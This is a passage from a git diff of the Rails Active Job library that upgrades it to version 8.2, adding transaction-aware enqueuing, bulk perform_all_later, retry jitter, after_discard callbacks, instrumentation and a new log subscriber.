+      def arguments_serialized?
+        @serialized_arguments
+      end
+
+      def deserialize_time(time)
+        if time.is_a?(Time)
+          time
+        else
+          Time.iso8601(time)
+        end
+      end
   end
 end
diff --git a/activejob/lib/active_job/deprecator.rb b/activejob/lib/active_job/deprecator.rb
new file mode 100644
index 0000000000000..81975a41b6db1
--- /dev/null
+++ b/activejob/lib/active_job/deprecator.rb
@@ -0,0 +1,7 @@
+# frozen_string_literal: true
+
+module ActiveJob
+  def self.deprecator # :nodoc:
+    @deprecator ||= ActiveSupport::Deprecation.new
+  end
+end
diff --git a/activejob/lib/active_job/enqueue_after_transaction_commit.rb b/activejob/lib/active_job/enqueue_after_transaction_commit.rb
new file mode 100644
index 0000000000000..8f1bb8df73adc
--- /dev/null
+++ b/activejob/lib/active_job/enqueue_after_transaction_commit.rb
@@ -0,0 +1,38 @@
+# frozen_string_literal: true
+
+module ActiveJob
+  module EnqueueAfterTransactionCommit # :nodoc:
+    class << self
+      def included(base)
+        ActiveJob.singleton_class.prepend(ActiveJobMethods)
+      end
+    end
+
+    module ActiveJobMethods
+      # Ensures perform_all_later respects each job's enqueue_after_transaction_commit configuration.
+      # Jobs with enqueue_after_transaction_commit set to true are deferred and enqueued only after the transaction commits;
+      # other jobs are enqueued immediately. This ensures enqueuing timing matches the per-job setting.
+      def perform_all_later(*jobs)
+        jobs.flatten!
+        deferred_jobs, immediate_jobs = jobs.partition { |job| job.class.enqueue_after_transaction_commit }
+        super(immediate_jobs) if immediate_jobs.any?
+        ActiveRecord.after_all_transactions_commit { super(deferred_jobs) } if deferred_jobs.any?
+        nil
+      end
+    end
+
+    private
+      def raw_enqueue
+        if self.class.enqueue_after_transaction_commit
+          self.successfully_enqueued = true
+          ActiveRecord.after_all_transactions_commit do
+            self.successfully_enqueued = false
+            super
+          end
+          self
+        else
+          super
+        end
+      end
+  end
+end
diff --git a/activejob/lib/active_job/enqueuing.rb b/activejob/lib/active_job/enqueuing.rb
index c73117e7f305e..e8a725101f943 100644
--- a/activejob/lib/active_job/enqueuing.rb
+++ b/activejob/lib/active_job/enqueuing.rb
@@ -1,27 +1,97 @@
-require "active_job/arguments"
+# frozen_string_literal: true
 
 module ActiveJob
   # Provides behavior for enqueuing jobs.
+
+  # Can be raised by adapters if they wish to communicate to the caller a reason
+  # why the adapter was unexpectedly unable to enqueue a job.
+  class EnqueueError < StandardError; end
+
+  class << self
+    # Push many jobs onto the queue at once without running enqueue callbacks.
+    # Queue adapters may communicate the enqueue status of each job by setting
+    # successfully_enqueued and/or enqueue_error on the passed-in job instances.
+    def perform_all_later(*jobs)
+      jobs.flatten!
+      jobs.group_by(&:queue_adapter).each do |queue_adapter, adapter_jobs|
+        instrument_enqueue_all(queue_adapter, adapter_jobs) do
+          if queue_adapter.respond_to?(:enqueue_all)
+            queue_adapter.enqueue_all(adapter_jobs)
+          else
+            adapter_jobs.each do |job|
+              job.successfully_enqueued = false
+              if job.scheduled_at
+                queue_adapter.enqueue_at(job, job.scheduled_at.to_f)
+              else
+                queue_adapter.enqueue(job)
+              end
+              job.successfully_enqueued = true
+            rescue EnqueueError => e
+              job.enqueue_error = e
+            end
+            adapter_jobs.count(&:successfully_enqueued?)
+          end
+        end
+      end
+      nil
+    end
+  end
+
   module Enqueuing
     extend ActiveSupport::Concern
 
+    included do
+      ##
+      # :singleton-method:
+      #
+      # Defines if enqueueing this job from inside an Active Record transaction
+      # automatically defers the enqueue to after the transaction commits.
+      #
+      # It can be set on a per job basis:
+      #  - true forces the job to be deferred.
+      #  - false forces the job to be queued immediately.
+      class_attribute :enqueue_after_transaction_commit, instance_accessor: false, instance_predicate: false, default: false
+    end
+
     # Includes the +perform_later+ method for job initialization.
     module ClassMethods
-      # Push a job onto the queue. The arguments must be legal JSON types
-      # (string, int, float, nil, true, false, hash or array) or
-      # GlobalID::Identification instances. Arbitrary Ruby objects
-      # are not supported.
+      # Push a job onto the queue. By default the arguments must be either String,
+      # Integer, Float, NilClass, TrueClass, FalseClass, BigDecimal, Symbol, Date,
+      # Time, DateTime, ActiveSupport::TimeWithZone, ActiveSupport::Duration,
+      # Hash, ActiveSupport::HashWithIndifferentAccess, Array, Range, or
+      # GlobalID::Identification instances, although this can be extended by adding
+      # custom serializers.
       #
       # Returns an instance of the job class queued with arguments available in
-      # Job#arguments.
-      def perform_later(*args)
-        job_or_instantiate(*args).enqueue
+      # Job#arguments or +false+ if the enqueue did not succeed.
+      #
+      # After the attempted enqueue, the job will be yielded to an optional block.
+      #
+      # If Active Job is used conjointly with Active Record, and #perform_later is called
+      # inside an Active Record transaction, then the enqueue is implicitly deferred to after
+      # the transaction is committed, or dropped if it's rolled back. In such case #perform_later
+      # will return the job instance like if it was successfully enqueued, but will still return
+      # +false+ if a callback prevented the job from being enqueued.
+      #
+      # This behavior can be changed on a per job basis:
+      #
+      #  class NotificationJob < ApplicationJob
+      #    self.enqueue_after_transaction_commit = false
+      #  end
+      def perform_later(...)
+        job = job_or_instantiate(...)
+        enqueue_result = job.enqueue
+
+        yield job if block_given?
+
+        enqueue_result
       end
 
       private
-        def job_or_instantiate(*args) # :doc:
+        def job_or_instantiate(*args, &) # :doc:
           args.first.is_a?(self) ? args.first : new(*args)
         end
+        ruby2_keywords(:job_or_instantiate)
     end
 
     # Enqueues the job to be performed by the queue adapter.
@@ -40,18 +110,35 @@ def job_or_instantiate(*args) # :doc:
     #    my_job_instance.enqueue wait_until: Date.tomorrow.midnight
     #    my_job_instance.enqueue priority: 10
     def enqueue(options = {})
-      self.scheduled_at = options[:wait].seconds.from_now.to_f if options[:wait]
-      self.scheduled_at = options[:wait_until].to_f if options[:wait_until]
-      self.queue_name   = self.class.queue_name_from_part(options[:queue]) if options[:queue]
-      self.priority     = options[:priority].to_i if options[:priority]
-      run_callbacks :enqueue do
+      set(options)
+      self.successfully_enqueued = false
+
+      raw_enqueue
+
+      if successfully_enqueued?
+        self
+      else
+        false
+      end
+    end
+
+    private
+      def raw_enqueue
+        run_callbacks :enqueue do
+          _raw_enqueue
+        end
+      end
+
+      def _raw_enqueue
         if scheduled_at
-          self.class.queue_adapter.enqueue_at self, scheduled_at
+          queue_adapter.enqueue_at self, scheduled_at.to_f
         else
-          self.class.queue_adapter.enqueue self
+          queue_adapter.enqueue self
         end
+
+        self.successfully_enqueued = true
+      rescue EnqueueError => e
+        self.enqueue_error = e
       end
-      self
-    end
   end
 end
diff --git a/activejob/lib/active_job/exceptions.rb b/activejob/lib/active_job/exceptions.rb
index c1b5d35313d37..2966bca7b541d 100644
--- a/activejob/lib/active_job/exceptions.rb
+++ b/activejob/lib/active_job/exceptions.rb
@@ -1,3 +1,5 @@
+# frozen_string_literal: true
+
 require "active_support/core_ext/numeric/time"
 
 module ActiveJob
@@ -5,6 +7,11 @@ module ActiveJob
   module Exceptions
     extend ActiveSupport::Concern
 
+    included do
+      class_attribute :retry_jitter, instance_accessor: false, instance_predicate: false, default: 0.0
+      class_attribute :after_discard_procs, default: []
+    end
+
     module ClassMethods
       # Catch the exception and reschedule job for re-execution after so many seconds, for a specific number of attempts.
       # If the exception keeps getting raised beyond the specified number of attempts, the exception is allowed to
@@ -14,42 +21,61 @@ module ClassMethods
       # You can also pass a block that'll be invoked if the retry attempts fail for custom logic rather than letting
       # the exception bubble up. This block is yielded with the job instance as the first and the error instance as the second parameter.
       #
+      # +retry_on+ and +discard_on+ handlers are searched from bottom to top, and up the class hierarchy. The handler of the first class for
+      # which <tt>exception.is_a?(klass)</tt> holds true is the one invoked, if any.
+      #
       # ==== Options
       # * <tt>:wait</tt> - Re-enqueues the job with a delay specified either in seconds (default: 3 seconds),
-      #   as a computing proc that the number of executions so far as an argument, or as a symbol reference of
-      #   <tt>:exponentially_longer</tt>, which applies the wait algorithm of <tt>(executions ** 4) + 2</tt>
-      #   (first wait 3s, then 18s, then 83s, etc)
-      # * <tt>:attempts</tt> - Re-enqueues the job the specified number of times (default: 5 attempts)
+      #   as a computing proc that takes the number of executions so far as an argument, or as a symbol reference of
+      #   <tt>:polynomially_longer</tt>, which applies the wait algorithm of <tt>((executions**4) + (Kernel.rand * (executions**4) * jitter)) + 2</tt>
+      #   (first wait ~3s, then ~18s, then ~83s, etc)
+      # * <tt>:attempts</tt> - Enqueues the job the specified number of times (default: 5 attempts) or a symbol reference of <tt>:unlimited</tt>
+      #   to retry the job until it succeeds. The number of attempts includes the original job execution.
       # * <tt>:queue</tt> - Re-enqueues the job on a different queue
       # * <tt>:priority</tt> - Re-enqueues the job with a different priority
+      # * <tt>:jitter</tt> - A random delay of wait time used when calculating backoff. The default is 15% (0.15) which represents the upper bound of possible wait time (expressed as a percentage)
+      # * <tt>:report</tt> - Errors will be reported to the Rails.error reporter before being retried
       #
       # ==== Examples
       #
       #  class RemoteServiceJob < ActiveJob::Base
-      #    retry_on CustomAppException # defaults to 3s wait, 5 attempts
+      #    retry_on CustomAppException # defaults to ~3s wait, 5 attempts
       #    retry_on AnotherCustomAppException, wait: ->(executions) { executions * 2 }
-      #    retry_on(YetAnotherCustomAppException) do |job, exception|
-      #      ExceptionNotifier.caught(exception)
-      #    end
+      #    retry_on CustomInfrastructureException, wait: 5.minutes, attempts: :unlimited
+      #
       #    retry_on ActiveRecord::Deadlocked, wait: 5.seconds, attempts: 3
-      #    retry_on Net::OpenTimeout, wait: :exponentially_longer, attempts: 10
+      #    retry_on Net::OpenTimeout, Timeout::Error, wait: :polynomially_longer, attempts: 10 # retries at most 10 times for Net::OpenTimeout and Timeout::Error combined
+      #    # To retry at most 10 times for each individual exception:
+      #    # retry_on Net::OpenTimeout, wait: :polynomially_longer, attempts: 10
+      #    # retry_on Net::ReadTimeout, wait: 5.seconds, jitter: 0.30, attempts: 10
+      #    # retry_on Timeout::Error, wait: :polynomially_longer, attempts: 10
+      #
+      #    retry_on YetAnotherCustomAppException, report: true
+      #    retry_on EvenWorseCustomAppException do |job, error|
+      #      CustomErrorHandlingCode.handle(job, error)
+      #    end
       #
       #    def perform(*args)
       #      # Might raise CustomAppException, AnotherCustomAppException, or YetAnotherCustomAppException for something domain specific
       #      # Might raise ActiveRecord::Deadlocked when a local db deadlock is detected
-      #      # Might raise Net::OpenTimeout when the remote service is down
+      #      # Might raise Net::OpenTimeout or Timeout::Error when the remote service is down
       #    end
       #  end
-      def retry_on(exception, wait: 3.seconds, attempts: 5, queue: nil, priority: nil)
-        rescue_from exception do |error|
-          if executions < attempts
-            logger.error "Retrying #{self.class} in #{wait} seconds, due to a #{exception}. The original exception was #{error.cause.inspect}."
-            retry_job wait: determine_delay(wait), queue: queue, priority: priority
+      def retry_on(*exceptions, wait: 3.seconds, attempts: 5, queue: nil, priority: nil, jitter: JITTER_DEFAULT, report: false)
+        rescue_from(*exceptions) do |error|
+          executions = executions_for(exceptions)
+          if attempts == :unlimited || executions < attempts
+            ActiveSupport.error_reporter.report(error, source: "application.active_job") if report
+            retry_job wait: determine_delay(seconds_or_duration_or_algorithm: wait, executions: executions, jitter: jitter), queue: queue, priority: priority, error: error
           else
             if block_given?
-              yield self, exception
+              instrument :retry_stopped, error: error do
+                yield self, error
+              end
+              run_after_discard_procs(error)
             else
-              logger.error "Stopped retrying #{self.class} due to a #{exception}, which reoccurred on #{executions} attempts. The original exception was #{error.cause.inspect}."
+              instrument :retry_stopped, error: error
+              run_after_discard_procs(error)
               raise error
             end
           end
@@ -59,25 +85,58 @@ def retry_on(exception, wait: 3.seconds, attempts: 5, queue: nil, priority: nil)
       # Discard the job with no attempts to retry, if the exception is raised. This is useful when the subject of the job,
       # like an Active Record, is no longer available, and the job is thus no longer relevant.
       #
+      # Passing the <tt>:report</tt> option reports the error through the error reporter before discarding the job.
+      #
+      # You can also pass a block that'll be invoked. This block is yielded with the job instance as the first and the error instance as the second parameter.
+      #
+      # +retry_on+ and +discard_on+ handlers are searched from bottom to top, and up the class hierarchy. The handler of the first class for
+      # which <tt>exception.is_a?(klass)</tt> holds true is the one invoked, if any.
+      #
       # ==== Example
       #
       #  class SearchIndexingJob < ActiveJob::Base
       #    discard_on ActiveJob::DeserializationError
+      #    discard_on CustomAppException, report: true
+      #    discard_on(AnotherCustomAppException) do |job, error|
+      #      CustomErrorHandlingCode.handle(job, error)
+      #    end
       #
       #    def perform(record)
       #      # Will raise ActiveJob::DeserializationError if the record can't be deserialized
+      #      # Might raise CustomAppException for something domain specific
       #    end
       #  end
-      def discard_on(exception)
-        rescue_from exception do |error|
-          logger.error "Discarded #{self.class} due to a #{exception}. The original exception was #{error.cause.inspect}."
+      def discard_on(*exceptions, report: false)
+        rescue_from(*exceptions) do |error|
+          instrument :discard, error: error do
+            ActiveSupport.error_reporter.report(error, source: "application.active_job") if report
+            yield self, error if block_given?
+            run_after_discard_procs(error)
+          end
         end
       end
+
+      # A block to run when a job is about to be discarded for any reason.
+      #
+      # ==== Example
+      #
+      #  class WorkJob < ActiveJob::Base
+      #    after_discard do |job, exception|
+      #      ExceptionNotifier.report(exception)
+      #    end
+      #
+      #    ...
+      #
+      #  end
+      def after_discard(&blk)
+        self.after_discard_procs += [blk]
+      end
     end
 
-    # Reschedules the job to be re-executed. This is useful in combination
-    # with the +rescue_from+ option. When you rescue an exception from your job
-    # you can ask Active Job to retry performing your job.
+    # Reschedules the job to be re-executed. This is useful in combination with
+    # {rescue_from}[rdoc-ref:ActiveSupport::Rescuable::ClassMethods#rescue_from].
+    # When you rescue an exception from your job you can ask Active Job to retry
+    # performing your job.
     #
     # ==== Options
     # * <tt>:wait</tt> - Enqueues the job with the specified delay in seconds
@@ -97,20 +156,31 @@ def discard_on(exception)
     #    end
     #  end
     def retry_job(options = {})
-      enqueue options
+      instrument :enqueue_retry, options.slice(:error, :wait) do
+        scheduled_at, queue_name, priority = self.scheduled_at, self.queue_name, self.priority
+        enqueue options
+      ensure
+        self.scheduled_at, self.queue_name, self.priority = scheduled_at, queue_name, priority
+      end
     end
 
     private
-      def determine_delay(seconds_or_duration_or_algorithm)
+      JITTER_DEFAULT = Object.new
+      private_constant :JITTER_DEFAULT
+
+      def determine_delay(seconds_or_duration_or_algorithm:, executions:, jitter: JITTER_DEFAULT)
+        jitter = jitter == JITTER_DEFAULT ? self.class.retry_jitter : (jitter || 0.0)
+
         case seconds_or_duration_or_algorithm
-        when :exponentially_longer
-          (executions**4) + 2
-        when ActiveSupport::Duration
-          duration = seconds_or_duration_or_algorithm
-          duration.to_i
-        when Integer
-          seconds = seconds_or_duration_or_algorithm
-          seconds
+        when  :polynomially_longer
+          # This delay uses a polynomial backoff strategy, which was previously misnamed as exponential
+          delay = executions**4
+          delay_jitter = determine_jitter_for_delay(delay, jitter)
+          delay + delay_jitter + 2
+        when ActiveSupport::Duration, Integer
+          delay = seconds_or_duration_or_algorithm.to_i
+          delay_jitter = determine_jitter_for_delay(delay, jitter)
+          delay + delay_jitter
         when Proc
           algorithm = seconds_or_duration_or_algorithm
           algorithm.call(executions)
@@ -118,5 +188,29 @@ def determine_delay(seconds_or_duration_or_algorithm)
           raise "Couldn't determine a delay based on #{seconds_or_duration_or_algorithm.inspect}"
         end
       end
+
+      def determine_jitter_for_delay(delay, jitter)
+        return 0.0 if jitter.zero?
+        Kernel.rand * delay * jitter
+      end
+
+      def executions_for(exceptions)
+        if exception_executions
+          exception_executions[exceptions.to_s] = (exception_executions[exceptions.to_s] || 0) + 1
+        else
+          # Guard against jobs that were persisted before we started having individual executions counters per retry_on
+          executions
+        end
+      end
+
+      def run_after_discard_procs(exception)
+        exceptions = []
+        after_discard_procs.each do |blk|
+          instance_exec(self, exception, &blk)
+        rescue StandardError => e
+          exceptions << e
+        end
+        raise exceptions.last unless exceptions.empty?
+      end
   end
 end
diff --git a/activejob/lib/active_job/execution.rb b/activejob/lib/active_job/execution.rb
index 94d30c8eaf057..3751d53ffc73d 100644
--- a/activejob/lib/active_job/execution.rb
+++ b/activejob/lib/active_job/execution.rb
@@ -1,7 +1,14 @@
+# frozen_string_literal: true
+
 require "active_support/rescuable"
-require "active_job/arguments"
 
 module ActiveJob
+  # = Active Job \Execution
+  #
+  # Provides methods to execute jobs immediately, and wraps job execution so
+  # that exceptions configured with
+  # {rescue_from}[rdoc-ref:ActiveSupport::Rescuable::ClassMethods#rescue_from]
+  # are handled.
   module Execution
     extend ActiveSupport::Concern
     include ActiveSupport::Rescuable
@@ -12,11 +19,11 @@ module ClassMethods
       #
       #   MyJob.perform_now("mike")
       #
-      def perform_now(*args)
-        job_or_instantiate(*args).perform_now
+      def perform_now(...)
+        job_or_instantiate(...).perform_now
       end
 
-      def execute(job_data) #:nodoc:
+      def execute(job_data) # :nodoc:
         ActiveJob::Callbacks.run_callbacks(:execute) do
           job = deserialize(job_data)
           job.perform_now
@@ -24,24 +31,42 @@ def execute(job_data) #:nodoc:
       end
     end
 
-    # Performs the job immediately. The job is not sent to the queueing adapter
+    # Performs the job immediately. The job is not sent to the queuing adapter
     # but directly executed by blocking the execution of others until it's finished.
+    # +perform_now+ returns the value of your job's +perform+ method.
+    #
+    #   class MyJob < ActiveJob::Base
+    #     def perform
+    #       "Hello World!"
+    #     end
+    #   end
     #
-    #   MyJob.new(*args).perform_now
+    #   puts MyJob.new(*args).perform_now # => "Hello World!"
     def perform_now
+      # Guard against jobs that were persisted before we started counting executions by zeroing out nil counters
+      self.executions = (executions || 0) + 1
+
       deserialize_arguments_if_needed
-      run_callbacks :perform do
-        # Guard against jobs that were persisted before we started counting executions by zeroing out nil counters
-        self.executions = (executions || 0) + 1
 
-        perform(*arguments)
-      end
-    rescue => exception
-      rescue_with_handler(exception) || raise
+      _perform_job
+    rescue Exception => exception
+      handled = rescue_with_handler(exception)
+      return handled if handled
+
+      run_after_discard_procs(exception)
+      raise
     end
 
     def perform(*)
       fail NotImplementedError
     end
+
+    private
+      def _perform_job
+        ActiveSupport::ExecutionContext[:job] = self
+        run_callbacks :perform do
+          perform(*arguments)
+        end
+      end
   end
 end
diff --git a/activejob/lib/active_job/execution_state.rb b/activejob/lib/active_job/execution_state.rb
new file mode 100644
index 0000000000000..d287ee009a8a7
--- /dev/null
+++ b/activejob/lib/active_job/execution_state.rb
@@ -0,0 +1,11 @@
+# frozen_string_literal: true
+
+module ActiveJob
+  module ExecutionState # :nodoc:
+    def perform_now
+      I18n.with_locale(locale) do
+        Time.use_zone(timezone) { super }
+      end
+    end
+  end
+end
diff --git a/activejob/lib/active_job/gem_version.rb b/activejob/lib/active_job/gem_version.rb
index 0d50c279383a3..ffdfd191804f7 100644
--- a/activejob/lib/active_job/gem_version.rb
+++ b/activejob/lib/active_job/gem_version.rb
@@ -1,12 +1,14 @@
+# frozen_string_literal: true
+
 module ActiveJob
-  # Returns the version of the currently loaded Active Job as a <tt>Gem::Version</tt>
+  # Returns the currently loaded version of Active Job as a +Gem::Version+.
   def self.gem_version
     Gem::Version.new VERSION::STRING
   end
 
   module VERSION
-    MAJOR = 5
-    MINOR = 1
+    MAJOR = 8
+    MINOR = 2
     TINY  = 0
     PRE   = "alpha"
 
diff --git a/activejob/lib/active_job/instrumentation.rb b/activejob/lib/active_job/instrumentation.rb
new file mode 100644
index 0000000000000..85426ccc078f3
--- /dev/null
+++ b/activejob/lib/active_job/instrumentation.rb
@@ -0,0 +1,52 @@
+# frozen_string_literal: true
+
+module ActiveJob
+  class << self
+    private
+      def instrument_enqueue_all(queue_adapter, jobs)
+        payload = { adapter: queue_adapter, jobs: jobs }
+        ActiveSupport::Notifications.instrument("enqueue_all.active_job", payload) do
+          result = yield payload
+          payload[:enqueued_count] = result
+          result
+        end
+      end
+  end
+
+  module Instrumentation # :nodoc:
+    extend ActiveSupport::Concern
+
+    included do
+      around_enqueue do |_, block|
+        scheduled_at ? instrument(:enqueue_at, &block) : instrument(:enqueue, &block)
+      end
+    end
+
+    def perform_now
+      instrument(:perform) { super }
+    end
+
+    def instrument(operation, payload = {}, &block) # :nodoc:
+      payload[:job] = self
+      payload[:adapter] = queue_adapter
+
+      ActiveSupport::Notifications.instrument("#{operation}.active_job", payload) do |payload|
+        value = block.call(payload) if block
+        payload[:aborted] = true if @_halted_callback_hook_called
+        @_halted_callback_hook_called = nil
+        value
+      end
+    end
+
+    private
+      def _perform_job
+        instrument(:perform_start)
+        super
+      end
+
+      def halted_callback_hook(*)
+        super
+        @_halted_callback_hook_called = true
+      end
+  end
+end
diff --git a/activejob/lib/active_job/log_subscriber.rb b/activejob/lib/active_job/log_subscriber.rb
new file mode 100644
index 0000000000000..314c000f7557c
--- /dev/null
+++ b/activejob/lib/active_job/log_subscriber.rb
@@ -0,0 +1,263 @@
+# frozen_string_literal: true
+
+require "active_support/log_subscriber"
+
+module ActiveJob
+  class LogSubscriber < ActiveSupport::EventReporter::LogSubscriber # :nodoc:
+    class_attribute :backtrace_cleaner, default: ActiveSupport::BacktraceCleaner.new
+
+    self.namespace = "active_job"
+
+    def enqueued(event)
+      payload = event[:payload]
+
+      if payload[:exception_class]
+        error do
+          "Failed enqueuing #{payload[:job_class]} to #{queue_name(event)}: #{payload[:exception_class]} (#{payload[:exception_message]})"
+        end
+      elsif payload[:aborted]
+        info do
+          "Failed enqueuing #{payload[:job_class]} to #{queue_name(event)}, a before_enqueue callback halted the enqueuing execution."
+        end
+      else
+        info do
+          "Enqueued #{payload[:job_class]} (Job ID: #{payload[:job_id]}) to #{queue_name(event)}" + args_info(event)
+        end
+      end
+    end
+    event_log_level :enqueued, :info
+
+    def enqueued_at(event)
+      payload = event[:payload]
+
+      if payload[:exception_class]
+        error do
+          "Failed enqueuing #{payload[:job_class]} to #{queue_name(event)}: #{payload[:exception_class]} (#{payload[:exception_message]})"
+        end
+      elsif payload[:aborted]
+        info do
+          "Failed enqueuing #{payload[:job_class]} to #{queue_name(event)}, a before_enqueue callback halted the enqueuing execution."
+        end
+      else
+        info do
+          "Enqueued #{payload[:job_class]} (Job ID: #{payload[:job_id]}) to #{queue_name(event)} at #{event[:payload][:scheduled_at]}" + args_info(event)
+        end
+      end
+    end
+    event_log_level :enqueued_at, :info
+
+    def bulk_enqueued(event)
+      payload = event[:payload]
+
+      info do
+        if payload[:enqueued_count] == payload[:job_count]
+          enqueued_jobs_message(event)
+        elsif payload[:enqueued_count] > 0
+          if payload[:failed_enqueue_count] == 0
+            enqueued_jobs_message(event)
+          else
+            "#{enqueued_jobs_message(event)}. "\
+              "Failed enqueuing #{payload[:failed_enqueue_count]} #{'job'.pluralize(payload[:failed_enqueue_count])}"
+          end
+        else
+          "Failed enqueuing #{payload[:failed_enqueue_count]} #{'job'.pluralize(payload[:failed_enqueue_count])} "\
+            "to #{payload[:adapter]}"
+        end
+      end
+    end
+    event_log_level :bulk_enqueued, :info
+
+    def started(event)
+      payload = event[:payload]
+
+      info do
+        enqueue_info = payload[:enqueued_at].present? ? " enqueued at #{payload[:enqueued_at]}" : ""
+
+        "Performing #{payload[:job_class]} (Job ID: #{payload[:job_id]}) from #{queue_name(event)}" + enqueue_info + args_info(event)
+      end
+    end
+    event_log_level :started, :info
+
+    def completed(event)
+      payload = event[:payload]
+
+      if payload[:exception_class]
+        cleaned_backtrace = backtrace_cleaner.clean(payload[:exception_backtrace])
+        error do
+          "Error performing #{payload[:job_class]} (Job ID: #{payload[:job_id]}) from #{queue_name(event)} in #{payload[:duration]}ms: #{payload[:exception_class]} (#{payload[:exception_message]}):\n" + Array(cleaned_backtrace).join("\n")
+        end
+      elsif payload[:aborted]
+        error do
+          "Error performing #{payload[:job_class]} (Job ID: #{payload[:job_id]}) from #{queue_name(event)} in #{payload[:duration]}ms: a before_perform callback halted the job execution"
+        end
+      else
+        info do
+          "Performed #{payload[:job_class]} (Job ID: #{payload[:job_id]}) from #{queue_name(event)} in #{payload[:duration]}ms"
+        end
+      end
+    end
+    event_log_level :completed, :info
+
+    def retry_scheduled(event)
+      payload = event[:payload]
+
+      info do
+        if payload[:exception_class]
+          "Retrying #{payload[:job_class]} (Job ID: #{payload[:job_id]}) after #{payload[:executions]} attempts in #{payload[:wait_seconds]} seconds, due to a #{payload[:exception_class]} (#{payload[:exception_message]})."
+        else
+          "Retrying #{payload[:job_class]} (Job ID: #{payload[:job_id]}) after #{payload[:executions]} attempts in #{payload[:wait_seconds]} seconds."
+        end
+      end
+    end
+    event_log_level :retry_scheduled, :info
+
+    def retry_stopped(event)
+      payload = event[:payload]
+
+      error do
+        "Stopped retrying #{payload[:job_class]} (Job ID: #{payload[:job_id]}) due to a #{payload[:exception_class]} (#{payload[:exception_message]}), which reoccurred on #{payload[:executions]} attempts."
+      end
+    end
+    event_log_level :retry_stopped, :error
+
+    def discarded(event)
+      payload = event[:payload]
+
+      error do
+        "Discarded #{payload[:job_class]} (Job ID: #{payload[:job_id]}) due to a #{payload[:exception_class]} (#{payload[:exception_message]})."
+      end
+    end
+    event_log_level :discarded, :error
+
+    def interrupt(event)
+      payload = event[:payload]
+
+      info do
+        "Interrupted #{payload[:job_class]} (Job ID: #{payload[:job_id]}) #{payload[:description]} (#{payload[:reason]})"
+      end
+    end
+    event_log_level :interrupt, :info
+
+    def resume(event)
+      payload = event[:payload]
+
+      info do
+        "Resuming #{payload[:job_class]} (Job ID: #{payload[:job_id]}) #{payload[:description]}"
+      end
+    end
+    event_log_level :resume, :info
+
+    def step_skipped(event)
+      payload = event[:payload]
+
+      info do
+        "Step '#{payload[:step]}' skipped #{payload[:job_class]}"
+      end
+    end
+    event_log_level :step_skipped, :info
+
+    def step_started(event)
+      payload = event[:payload]
+
+      info do
+        if payload[:resumed]
+          "Step '#{payload[:step]}' resumed from cursor '#{payload[:cursor]}' for #{payload[:job_class]} (Job ID: #{payload[:job_id]})"
+        else
+          "Step '#{payload[:step]}' started for #{payload[:job_class]} (Job ID: #{payload[:job_id]})"
+        end
+      end
+    end
+    event_log_level :step_started, :info
+
+    def step(event)
+      payload = event[:payload]
+
+      if payload[:interrupted]
+        info do
+          "Step '#{payload[:step]}' interrupted at cursor '#{payload[:cursor]}' for #{payload[:job_class]} (Job ID: #{payload[:job_id]}) in #{payload[:duration]}ms"
+        end
+      elsif payload[:exception_class]
+        error do
+          "Error during step '#{payload[:step]}' at cursor '#{payload[:cursor]}' for #{payload[:job_class]} (Job ID: #{payload[:job_id]}) in #{payload[:duration]}ms: #{payload[:exception_class]} (#{payload[:exception_message]})"
+        end
+      else
+        info do
+          "Step '#{payload[:step]}' completed for #{payload[:job_class]} (Job ID: #{payload[:job_id]}) in #{payload[:duration]}ms"
+        end
+      end
+    end
+    event_log_level :step, :error
+
+    def self.default_logger
+      ActiveJob::Base.logger
+    end
+
+    private
+      def queue_name(event)
+        adapter, queue = event[:payload].values_at(:adapter, :queue)
+        "#{adapter}(#{queue})"
+      end
+
+      def args_info(event)
+        if (arguments = event[:payload][:arguments])
+          " with arguments: " +
+            arguments.map { |arg| format(arg).inspect }.join(", ")
+        else
+          ""
+        end
+      end
+
+      def format(arg)
+        case arg
+        when Hash
+          arg.transform_values { |value| format(value) }
+        when Array
+          arg.map { |value| format(value) }
+        when GlobalID::Identification
+          arg.to_global_id rescue arg
+        else
+          arg
+        end
+      end
+
+      def info(progname = nil, &block)
+        return unless super
+
+        if ActiveJob.verbose_enqueue_logs
+          log_enqueue_source
+        end
+      end
+
+      def error(progname = nil, &block)
+        return unless super
+
+        if ActiveJob.verbose_enqueue_logs
+          log_enqueue_source
+        end
+      end
+
+      def log_enqueue_source
+        source = enqueue_source_location
+
+        if source
+          logger.info("↳ #{source}")
+        end
+      end
+
+      def enqueue_source_location
+        backtrace_cleaner.first_clean_frame
+      end
+
+      def enqueued_jobs_message(event)
+        payload = event[:payload]
+        enqueued_count = payload[:enqueued_count]
+        job_classes_counts = payload[:enqueued_classes].sort_by { |_k, v| -v }
+        "Enqueued #{enqueued_count} #{'job'.pluralize(enqueued_count)} to #{payload[:adapter]}"\
+          " (#{job_classes_counts.map { |klass, count| "#{count} #{klass}" }.join(', ')})"
+      end
+  end
+end
+
+ActiveSupport.event_reporter.subscribe(
+  ActiveJob::LogSubscriber.new, &ActiveJob::LogSubscriber.subscription_filter
+)
diff --git a/activejob/lib/active_job/logging.rb b/activejob/lib/active_job/logging.rb
index aa97ab2e22f3d..016fd6ed7a5ec 100644
--- a/activejob/lib/active_job/logging.rb
+++ b/activejob/lib/active_job/logging.rb
@@ -1,47 +1,42 @@
-require "active_support/core_ext/hash/transform_values"
-require "active_support/core_ext/string/filters"
+# frozen_string_literal: true
+
 require "active_support/tagged_logging"
 require "active_support/logger"
 
 module ActiveJob
-  module Logging #:nodoc:
+  module Logging
     extend ActiveSupport::Concern
 
     included do
-      cattr_accessor(:logger) { ActiveSupport::TaggedLogging.new(ActiveSupport::Logger.new(STDOUT)) }
-
-      around_enqueue do |_, block, _|
-        tag_logger do
-          block.call
-        end
-      end
-
-      around_perform do |job, block, _|
-        tag_logger(job.class.name, job.job_id) do
-          payload = { adapter: job.class.queue_adapter, job: job }
-          ActiveSupport::Notifications.instrument("perform_start.active_job", payload.dup)
-          ActiveSupport::Notifications.instrument("perform.active_job", payload) do
-            block.call
-          end
-        end
-      end
+      ##
+      # Accepts a logger conforming to the interface of Log4r or the default
+      # Ruby +Logger+ class. You can retrieve this logger by calling +logger+ on
+      # either an Active Job job class or an Active Job job instance.
+      cattr_accessor :logger, default: ActiveSupport::TaggedLogging.new(ActiveSupport::Logger.new(STDOUT))
+
+      ##
+      # Configures whether a job's arguments should be logged. This can be
+      # useful when a job's arguments may be sensitive and so should not be
+      # logged.
+      #
+      # The value defaults to +true+, but this can be configured with
+      # +config.active_job.log_arguments+. Additionally, individual jobs can
+      # also configure a value, which will apply to themselves and any
+      # subclasses.
+      class_attribute :log_arguments, instance_accessor: false, default: true
+
+      around_enqueue(prepend: true) { |_, block| tag_logger(&block) }
+    end
 
-      after_enqueue do |job|
